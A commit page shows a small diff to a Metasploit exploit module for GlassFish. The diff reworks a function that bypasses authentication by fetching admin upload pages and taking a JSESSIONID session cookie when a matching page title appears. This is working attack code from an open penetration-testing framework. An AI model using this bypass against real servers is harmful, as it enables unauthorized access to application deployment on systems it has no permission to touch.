Skip to content

Commit c826785

Browse files
committed
Fix auth bypass
1 parent 8e4fa80 commit c826785

File tree

1 file changed

+9
-7
lines changed

1 file changed

+9
-7
lines changed

modules/exploits/multi/http/glassfish_deployer.rb

Lines changed: 9 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -631,20 +631,22 @@ def init_loginscanner
631631
end
632632

633633
def try_glassfish_auth_bypass(version)
634-
sid = false
634+
sid = nil
635635

636636
if version == '2.x' || version == '9.x'
637+
print_status("Trying auth bypass...")
637638
res = send_glassfish_request('/applications/upload.jsf', 'get')
638-
p = /<title>Deploy Enterprise Applications\/Modules/
639-
if res && res.code.to_i == 200 && res.body.match(p) != nil
640-
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); /).flatten.first
639+
title = '<title>Deploy Enterprise Applications/Modules</title>'
640+
if res && res.code.to_i == 200 && res.body.include?(title)
641+
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
641642
end
642643
else
643644
# 3.0
645+
print_status("Trying auth bypass...")
644646
res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get')
645-
p = /<title>Deploy Applications or Modules/
646-
if res && res.code.to_i == 200 && res.body.match(p) != nil
647-
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); /).flatten.first
647+
title = '<title>Deploy Applications or Modules'
648+
if res && res.code.to_i == 200 && res.body.include?(title)
649+
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
648650
end
649651
end
650652

0 commit comments

Comments
 (0)